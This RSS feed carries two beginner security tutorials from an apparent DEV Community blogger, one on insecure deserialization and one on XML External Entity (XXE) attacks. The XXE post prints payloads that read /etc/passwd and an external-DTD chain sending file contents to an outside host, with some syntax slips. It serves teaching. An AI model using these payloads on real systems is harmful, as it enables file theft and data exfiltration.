<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Ranjith Ashok</title>
    <description>The latest articles on DEV Community by Ranjith Ashok (@wh1tedev1l).</description>
    <link>https://dev.to/wh1tedev1l</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1193946%2F05e2181e-a50b-4fc4-b250-5fb833fbd8bd.png</url>
      <title>DEV Community: Ranjith Ashok</title>
      <link>https://dev.to/wh1tedev1l</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/wh1tedev1l"/>
    <language>en</language>
    <item>
      <title>Insecure Deserialization</title>
      <dc:creator>Ranjith Ashok</dc:creator>
      <pubDate>Sun, 29 Oct 2023 07:46:30 +0000</pubDate>
      <link>https://dev.to/wh1tedev1l/a-brief-introduction-to-insecure-deserialization-4md5</link>
      <guid>https://dev.to/wh1tedev1l/a-brief-introduction-to-insecure-deserialization-4md5</guid>
      <description>&lt;p&gt;Hey there! Let's talk about one of the top 10 OWASP vulnerabilities called Insecure Deserialization. It's a fancy term that refers to a vulnerability where a server tries to unpack data provided by a user, but that data actually contains hidden malicious code. Sneaky, right? This vulnerability can occur in various programming languages like Python, Java, PHP, Ruby, and more.&lt;/p&gt;

&lt;p&gt;Before diving deeper in to the vulnerability itself, lets try to grasp what serialization is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is Serialization and Deserialization?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Serialization can be defined as the process of converting complex data structures and objects into a stream of bytes. This is necessary because this is a transportable format of the data and can then be stored into a file, database or memory for later use. When an object is serialized, ideally its state is preserved, meaning, the object’s attributes along with their values remains unchanged&lt;/p&gt;

&lt;p&gt;Obviously, then deserialization refers to the opposite, that is, the converting a stream of bytes from a file, database or memory into a complex data structure or object which is human readable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is Insecure Deserialization?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An insecure deserialization also known as object injection, as previously mentioned, is a  vulnerability that occurs when a server tries to unpack the data provided by a user which triggers the execution of malicious code which was hidden into this data. This could leak out sensitive information or even provide with remote code execution which could be devastating for a company.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So if insecure deserialization is so dangerous how can you protect yourself?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Insecure deserialization can indeed be quite dangerous, but there are ways to protect yourself. One important step is to never pass a serialized object manipulated by an untrusted user to the deserialize function. This prevents potential manipulation of the object and direct execution of malicious code. Instead, consider using a secure and lightweight data-interchange format like JSON. &lt;/p&gt;

&lt;p&gt;Additionally, If you do have to accept serialized objects, here are some tips to mitigate insecure deserialization:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Implement digital signatures and other integrity checks to prevent malicious object creation or data interference.&lt;/li&gt;
&lt;li&gt;Run deserialization code in low privilege environments.&lt;/li&gt;
&lt;li&gt;Keep a log of deserialization exceptions and failures.&lt;/li&gt;
&lt;li&gt;Monitor and restrict all incoming and outgoing network activity from deserialization containers and servers.&lt;/li&gt;
&lt;li&gt;Utilize deserialization methods like JSON, XML, and YAML that are language-agnostic.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Alright, folks! That's a wrap on our little chat about Insecure Deserialization. Remember, this vulnerability is like a sneaky ninja hiding malicious code in innocent-looking data. &lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/jwzeJU_62IQ"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Check out the above video on Insecure Deserialization by &lt;a href="https://www.youtube.com/c/PwnFunction"&gt;PwnFunction &lt;/a&gt;where he digs deeper into how an actual attack is carried out.&lt;/p&gt;

&lt;p&gt;Until next time. Happy Hacking!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>XXE-XML External Entities Attacks</title>
      <dc:creator>Ranjith Ashok</dc:creator>
      <pubDate>Wed, 25 Oct 2023 17:38:08 +0000</pubDate>
      <link>https://dev.to/wh1tedev1l/xxe-xml-external-entities-attack-6jp</link>
      <guid>https://dev.to/wh1tedev1l/xxe-xml-external-entities-attack-6jp</guid>
      <description>&lt;p&gt;XML External Entities (XXE) is a critical vulnerability that continues to pose a significant threat to web applications. By exploiting the power of XML, adversaries can manipulate entities, access system files, and even execute remote code. In this article, we delve into XXE, unraveling its intricacies through a beginner-friendly approach.&lt;/p&gt;

&lt;p&gt;Let's start with the basics.&lt;/p&gt;

&lt;p&gt;What is XML?&lt;/p&gt;

&lt;p&gt;eXtensible Markup Language or XML. XML is a similar language to HTML, both of them are text-based languages and have a very simple syntax, but their main focus differs. HTML is more focused on data representation while XML is used for data transmission.&lt;/p&gt;

&lt;p&gt;Basic XML template&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;    #Metadata information

&lt;span class="nt"&gt;&amp;lt;Data&amp;gt;&lt;/span&gt; #Root Element
    &lt;span class="nt"&gt;&amp;lt;Subcategory1&amp;gt;&lt;/span&gt;Sample1&lt;span class="nt"&gt;&amp;lt;/Subcategory1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Subcategory2&amp;gt;&lt;/span&gt;Sample2&lt;span class="nt"&gt;&amp;lt;/Subcategory2&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Subcategory3&amp;gt;&lt;/span&gt;Sample3&lt;span class="nt"&gt;&amp;lt;/Subcategory3&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The above format might change slightly, but mostly there is not much difference. XML does not allow special characters, as this will cause confusion as to whether these characters belong to the actual information or the syntax while parsing the XML. This is where "Entities" come into the picture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are Entities?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can think of "Entities" as a container or a variable that holds a certain value and can be used in different parts of the XML. These "Entities" are defined in a separate section in the XML file called Document Type Definition (DTD). These entities can not only store the values specified by the user, but they can also pull values from a local file and even pull data from the internet and store it for later use.&lt;/p&gt;

&lt;p&gt;Given below is an example of XML using DTD&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;    #Metadata information`

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Data [
    &amp;lt;!ENTITY sample "Sample1"&amp;gt;&lt;/span&gt;
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;Data&amp;gt;&lt;/span&gt; #Root Element
    &lt;span class="nt"&gt;&amp;lt;Subcategory1&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;sample;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Subcategory1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Subcategory2&amp;gt;&lt;/span&gt;Sample2&lt;span class="nt"&gt;&amp;lt;/Subcategory2&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Subcategory3&amp;gt;&lt;/span&gt;Sample3&lt;span class="nt"&gt;&amp;lt;/Subcategory3&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The following is an example of entities being used to store data from external files.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;    #Metadata information`

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Data [
    &amp;lt;!ENTITY sample SYSTEM "/usr/share/secret.txt"&amp;gt;&lt;/span&gt;
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;Data&amp;gt;&lt;/span&gt; #Root Element
    &lt;span class="nt"&gt;&amp;lt;Subcategory1&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;sample;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Subcategory1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;In the above image, contents from secret.txt file are stored in "sample". "SYSTEM" is used to let the parser know that the data is fetched from an external source; it is the reference of the source.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types of Entities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;General Entities: General Entities are simple entities that reference some value somewhere else, as in the above example.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Parameter Entities: These are entities that have another entity inside of them.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;!ENTITY % outer"&amp;lt;!ENTITY inner 'Sample1'&amp;gt;"&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;These are mainly used to exploit XXE.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Predefined Entities: These are a set of predefined values for special characters that might break the document if used directly.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;hello&amp;gt;H&amp;lt;llo&amp;lt;/hello&amp;gt;&lt;/code&gt; This is an illegal usage of "&amp;lt;"; this will break the code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;hello&amp;gt;&amp;amp;#x3C&amp;lt;/hello&amp;gt;&lt;/code&gt; This is the valid usage where #x3C is the hex value of "&amp;lt;".&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What is XXE?&lt;/p&gt;

&lt;p&gt;In a website that accepts XML files, if we are able to write entities to access system files, then it is an XML External Entities (XXE) vulnerability. This vulnerability can be used to read contents from local files and even used for remote code execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Types of XXE:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In-band XXE: In an In-band XXE, the contents of the file or asset that we are trying to access are visible to us in clear text. It is a direct win.&lt;/li&gt;
&lt;li&gt;Error-Based XXE: In Error-Based XXE, the contents are just a couple of messages. These error messages will provide some information to the attacker based on which the attacker proceeds.&lt;/li&gt;
&lt;li&gt;Out-of-Band(OOB) XXE: This is a fully blind XXE where no kind of output is given.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;More about DTDs and XXE-based attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Previously we have discussed that Entities can store values defined by the user as well as contents from external files and URLs. But, Entities can also store the contents from another external DTD.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Var SYSTEM "external.dtd"&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;So what is the advantage of being able to use external DTDs when we can internally define the DTDs ourselves?&lt;/p&gt;

&lt;p&gt;Using external DTDs allows us to use the parameters within a DTD during the declaration of an entity.&lt;/p&gt;

&lt;p&gt;Let us better understand this using an example.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Function [
    &amp;lt;!ENTITY % parameter_entity “&amp;lt;!ENTITY general_entity ‘XML Document’&amp;gt;&lt;/span&gt;”&amp;gt;
    %parameter_entity;
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;Function&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;general_entity;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Function&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The parameter entities are only allowed to be inside the DTD. The above code translates to the following.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Function [
    &amp;lt;!ENTITY % parameter_entity “&amp;lt;!ENTITY general_entity ‘XML Document’&amp;gt;&lt;/span&gt;”&amp;gt;
    &lt;span class="cp"&gt;&amp;lt;!ENTITY general_entity ‘XML Document’&amp;gt;&lt;/span&gt;
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;Function&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;general_entity;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Function&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now we can access the general entity.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Function [
    &amp;lt;!ENTITY % file_content SYSTEM “/usr/share/Test.txt”&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;!ENTITY %reference "&amp;lt;!ENTITY send SYSTEM 'https://randomsite.com/?%file;'&amp;gt;&lt;/span&gt;"&amp;gt;
    %reference
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;Function&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;general_entity;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Function&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;From the previous example, we can say that the above code translates to&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Function [
    &amp;lt;!ENTITY %reference "&amp;lt;!ENTITY send SYSTEM 'https://randomsite.com/?%file;'&amp;gt;&lt;/span&gt;"&amp;gt;
    &lt;span class="cp"&gt;&amp;lt;!ENTITY send SYSTEM '&amp;lt;https://randomsite.com/?Contents&amp;gt;&lt;/span&gt; of file "Test.txt";'&amp;gt;
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;Function&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;send;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Function&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Now you might think that this is a very correct approach to getting the contents inside any file, but we will be thrown with an error when this file is parsed. This is because the %file parameter can only be referenced at the same level and cannot be referenced in some other entity declaration as in the code above.&lt;/p&gt;

&lt;p&gt;So what is the bypass to that problem then? How do I reference a parameter entity in another entity then?&lt;/p&gt;

&lt;p&gt;This is where external DTDs come into play. This same rule does not apply for external DTDs.&lt;/p&gt;

&lt;p&gt;Look at the following example.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE data SYSTEM '&amp;lt;https://randomsite.com/evil.dtd&amp;gt;&lt;/span&gt;'&amp;gt;

&lt;span class="nt"&gt;&amp;lt;data&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;send;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You might be wondering, where is the send entity? Let this be the contents of evil.dtd.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;    &lt;span class="cp"&gt;&amp;lt;!ENTITY % file_content SYSTEM “/usr/share/Test.txt”&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;!ENTITY %reference "&amp;lt;!ENTITY send SYSTEM 'https://randomsite.com/?%file;'&amp;gt;&lt;/span&gt;"&amp;gt;
    &lt;span class="cp"&gt;&amp;lt;!ENTITY send SYSTEM '&amp;lt;https://randomsite.com/?Contents&amp;gt;&lt;/span&gt; of file "Test.txt";'&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here when evil.dtd, an external DTD, is referenced, the same operation that was expected before happens without any problems.&lt;/p&gt;

&lt;p&gt;If you modify the entity file path to an external URL and are able to successfully connect to the external URL by uploading the file to a particular server, then you are practically making requests as the server, which is another vulnerability called the Server-Side Request Forgery (SSRF).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exploiting XXE:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We have discussed that Entities and DTDs are the weaker links in XML that facilitate its exploitation.&lt;/p&gt;

&lt;p&gt;Let’s see a basic XML payload.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=”1.0”?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;!DOCTYPE data [
    &amp;lt;!ENTITY xxe SYSTEM 'file:///etc/passwd'&amp;gt;&lt;/span&gt;
]&amp;gt;

&lt;span class="nt"&gt;&amp;lt;data&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/data&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here the contents of the file "passwd" are stored in xxe. Then it is referenced in .&lt;/p&gt;

&lt;p&gt;I suggest you go through this amazing video by Pwnfunction in collaboration with John Hammond for a much deeper understanding of XXE.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/gjm6VHZa_8s"&gt;
&lt;/iframe&gt;
&lt;br&gt;
You can also checkout &lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/swisskyrepo" rel="noopener noreferrer"&gt;
        swisskyrepo
      &lt;/a&gt; / &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings" rel="noopener noreferrer"&gt;
        PayloadsAllTheThings
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A list of useful payloads and bypass for Web Application Security and Pentest/CTF
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Payloads All The Things&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;A list of useful payloads and bypasses for Web Application Security
Feel free to improve with your payloads and techniques !&lt;br&gt;
I ❤️ pull requests :)&lt;/p&gt;
&lt;p&gt;You can also contribute with a 🍻 IRL, or using the sponsor button&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/sponsors/swisskyrepo" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/2791e5d29641bf7b6bd1fc8c86bf4b7fcfd2de28e8cfa1d5732735eadddee5ff/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f6c6162656c3d53706f6e736f72266d6573736167653d254532253944254134266c6f676f3d476974487562266c696e6b3d68747470733a2f2f6769746875622e636f6d2f73706f6e736f72732f73776973736b797265706f" alt="Sponsor"&gt;&lt;/a&gt;
&lt;a href="https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&amp;amp;url=https://github.com/swisskyrepo/PayloadsAllTheThings/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/4f677ce944dfdeb7a8cd741560d35d006363ef6160adeb63ee3d8c73373b1f51/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f75726c2f687474702f736869656c64732e696f2e7376673f7374796c653d736f6369616c" alt="Tweet"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;An alternative display version is available at &lt;a href="https://swisskyrepo.github.io/PayloadsAllTheThings/" rel="nofollow noopener noreferrer"&gt;PayloadsAllTheThingsWeb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
  &lt;a rel="noopener noreferrer nofollow" href="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/.github/banner.png"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fswisskyrepo%2FPayloadsAllTheThings%2Fmaster%2F.github%2Fbanner.png"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;📖 Documentation&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;Every section contains the following files, you can use the &lt;code&gt;_template_vuln&lt;/code&gt; folder to create a new chapter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;README.md - vulnerability description and how to exploit it, including several payloads&lt;/li&gt;
&lt;li&gt;Intruder - a set of files to give to Burp Intruder&lt;/li&gt;
&lt;li&gt;Images - pictures for the README.md&lt;/li&gt;
&lt;li&gt;Files - some files referenced in the README.md&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You might also like the other projects from the AllTheThings family :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://swisskyrepo.github.io/InternalAllTheThings/" rel="nofollow noopener noreferrer"&gt;InternalAllTheThings&lt;/a&gt; - Active Directory and Internal Pentest Cheatsheets&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://swisskyrepo.github.io/HardwareAllTheThings/" rel="nofollow noopener noreferrer"&gt;HardwareAllTheThings&lt;/a&gt; - Hardware/IOT Pentesting Wiki&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You want more ? Check the &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/BOOKS.md" rel="noopener noreferrer"&gt;Books&lt;/a&gt; and &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/YOUTUBE.md" rel="noopener noreferrer"&gt;Youtube channel&lt;/a&gt; selections.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;🧑‍💻 Contributions&lt;/h2&gt;

&lt;/div&gt;

&lt;p&gt;Be sure to read…&lt;/p&gt;
&lt;/div&gt;


&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/swisskyrepo/PayloadsAllTheThings" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;
 which has some really useful payloads for XXE.

&lt;p&gt;In conclusion, XML External Entities (XXE) remain a significant threat to web applications, making it a top concern in the world of cybersecurity. I have only scratched the surface with this blog and would highly recommend getting hands-on to better understand the concepts discussed here.&lt;/p&gt;

&lt;p&gt;Thank you for joining me on this journey. Will catch you in the next blog.&lt;/p&gt;

&lt;p&gt;Happy Hacking!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>xml</category>
      <category>xxe</category>
    </item>
  </channel>
</rss>
